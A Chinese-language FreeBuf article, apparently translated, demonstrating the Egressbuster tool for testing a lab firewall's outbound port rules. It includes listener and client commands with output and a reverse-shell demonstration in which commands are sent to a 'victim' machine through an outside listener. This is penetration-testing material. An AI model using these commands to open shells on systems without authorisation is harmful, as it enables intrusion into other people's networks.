使用Egressbuster测试防火墙出站规则

2018-03-04 180755人围观 ,发现 2 个不明物体 工具

我已经使用Egressbuster有段时间了。从我的使用体验来讲Egressbuster非常的实用,因此我想在这里把它介绍给大家。

Egressbuster – 简介

Egressbuster(GitHub)是由TrustedSec开发的一个用于在渗透测试期间测试出站端口的工具。

配置防火墙

首先,我将防火墙配置为阻止除了22,80,443和31337-31339之外的所有出站端口,以验证应用程序的可用性。

egressBuster-1-firewallRules.png

此外,仅允许HTTP(s)加密流量的进出站,也更能反映一个真实的网络环境。

启动服务器

防火墙规则配置完成后,我启动了服务器上的DO droplet.。

root@ubuntu-512mb-sfo2-01:~# ifconfig eth0 | grep Mask
          inet addr:138.xx.xx.xx  Bcast:138.xx.xx.255  Mask:255.255.xx.xx

root@ubuntu-512mb-sfo2-01:~# python egress_listener.py 138.xx.xx.xx eth0 172.xx.xx.xx
[*] Inserting iptables rule to redirect connections from 172.xx.xx.xx to **all TCP ports** to Egress Buster port 1090/tcp
[*] Listening on all TCP ports now... Press control-c when finished.

运行客户端

现在,可以开始测试我们的规则了。虽然我使用的是egressbuster.py脚本,但结果与可执行文件是相同的。另外根据我的测试经验,想要测试连接上的所有端口,大概需要12分钟左右的时间。

C:\Users\Ray\Documents>time
The current time is: 15:57:43.78
Enter the new time:
C:\Users\Ray\Documents>python egressbuster.py 138.xx.xx.xx 1-65535
[i] Sending packets to egress listener (138.xx.xx.xx)...
[i] Starting at: 1/tcp, ending at: 65535/tcp
[*] Connection made to 138.xx.xx.xx on port: 22/tcp
[*] Connection made to 138.xx.xx.xx on port: 80/tcp
[*] Connection made to 138.xx.xx.xx on port: 443/tcp
[v] Trying: TCP 1000
[v] Trying: TCP 2000

... <snip> ...

[v] Trying: TCP 31000
[*] Connection made to 138.xx.xx.xx on port: 31337/tcp
[*] Connection made to 138.xx.xx.xx on port: 31338/tcp
[*] Connection made to 138.xx.xx.xx on port: 31339/tcp
[v] Trying: TCP 32000
[v] Trying: TCP 33000

... <snip> ...

[v] Trying: TCP 65000
[*] All packets have been sent
[i] Remaining threads: 301
[i] Remaining threads: 102
[i] Remaining threads: 3

... <snip> ...

[i] Remaining threads: 3
Traceback (most recent call last):
  File "egressbuster.py", line 168, in 
    time.sleep(2)
KeyboardInterrupt

C:\Users\Ray\Documents>time
The current time is: 16:09:49.56
Enter the new time:

可以看到有三个线程没有工作,我不确定是什么原因导致的,但测试的结果仍然完全准确。

服务器结果

回到服务器,我们可以看到所有连接也都正常。

root@r4y-ubuntu-512mb-sfo2-01:~# python egress_listener.py 138.xx.xx.xx eth0 172.xx.xx.xx
[*] Inserting iptables rule to redirect connections from 172.xx.xx.xx to **all TCP ports** to Egress Buster port 1090/tcp
[*] Listening on all TCP ports now... Press control-c when finished.
[*] Connected from 172.xx.xx.xx on port: 22/tcp
[*] Connected from 172.xx.xx.xx on port: 80/tcp
[*] Connected from 172.xx.xx.xx on port: 443/tcp
[*] Connected from 172.xx.xx.xx on port: 31338/tcp
[*] Connected from 172.xx.xx.xx on port: 31337/tcp
[*] Connected from 172.xx.xx.xx on port: 31339/tcp
^C
[*] Exiting and removing iptables redirect rule.
[*] Done

Shell参数

最后,我想快速演示下shell参数。此参数可用于创建一个反向shell,并允许你将命令发送到“目标”系统。作者注释:该反向shell需要从你的监听服务器转到内部服务器,因此你需要配置外部IP地址或NAT。

首先,我在我的pfSense上设置NAT规则,以便我可以接收命令。

egressBuster-2-natEverything.png

接着,我使用shell参数启动服务器。

root@r4y-ubuntu-512mb-sfo2-01:~# python egress_listener.py 138.xx.xx.xx eth0 172.xx.xx.xx shell
[*] Inserting iptables rule to redirect connections from 172.xx.xx.xx to **all TCP ports** to Egress Buster port 1090/tcp
[*] Listening on all TCP ports now... Press control-c when finished.

最后,我运行脚本再次测试传出连接。注意,这里我只使用1-50端口进行此测试。

C:\Users\Ray\Documents>python egressbuster.py 138.xx.xx.xx 1-50 shell
[i] Sending packets to egress listener (138.xx.xx.xx)...
[i] Starting at: 1/tcp, ending at: 50/tcp
[*] Connection made to 138.xx.xx.xx on port: 22/tcp
[*] All packets have been sent
[i] Remaining threads: 50
[i] Remaining threads: 50
[i] Remaining threads: 1
[i] Remaining threads: 1
[*] Done

在监听端,我能够发送命令给客户端。但从下面结果可以看到,该shell并不稳定而且会导致一些命令无法执行以及报错。但是我们依然可以利用它来,获取一些简单但同等重要的信息。

root@r4y-ubuntu-512mb-sfo2-01:~# python egress_listener.py 138.xx.xx.xx eth0 172.xx.xx.xx shell
[*] Inserting iptables rule to redirect connections from 172.xx.xx.xx to **all TCP ports** to Egress Buster port 1090/tcp
[*] Listening on all TCP ports now... Press control-c when finished.
[*] Connected from 172.xx.xx.xx on port: 22/tcp
Enter the command to send to the victim:
Enter the command to send to the victim: whoami
megatron\ray
Enter the command to send to the victim: ipconfig
Windows IP Configuration


Ethernet adapter Ethernet 2:

   Connection-specific DNS Suffix  . : xxx
   IPv4 Address. . . . . . . . . . . : 192.168.5.xx
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.5.1

Tunnel adapter isatap.
Enter the command to send to the victim: dir
----------------------------------------
Exception happened during processing of request from ('172.xx.xx.xx', 59070)
Traceback (most recent call last):
  File "/usr/lib/python2.7/SocketServer.py", line 596, in process_request_thread
    self.finish_request(request, client_address)
  File "/usr/lib/python2.7/SocketServer.py", line 331, in finish_request
    self.RequestHandlerClass(request, client_address, self)
  File "/usr/lib/python2.7/SocketServer.py", line 652, in __init__
    self.handle()
  File "egress_listener.py", line 63, in handle
    self.request.sendall(request)
  File "/usr/lib/python2.7/socket.py", line 228, in meth
    return getattr(self._sock,name)(*args)
error: [Errno 32] Broken pipe
----------------------------------------

dir
^C
[*] Exiting and removing iptables redirect rule.
[*] Done

Egressbuster – 总结

这是一个测试网络中出站端口的好工具,我经常使用它来辅助我的测试。

此外,可执行文件的支持对于没有Python的Windows机器提供了极大的便利。

注意,一些供应商标记了可执行文件,因此在测试期间要注意这一点。

egressBuster-3-virusTotal.png

*参考来源:doyler,FB小编 secist 编译,转载请注明来自FreeBuf.COM

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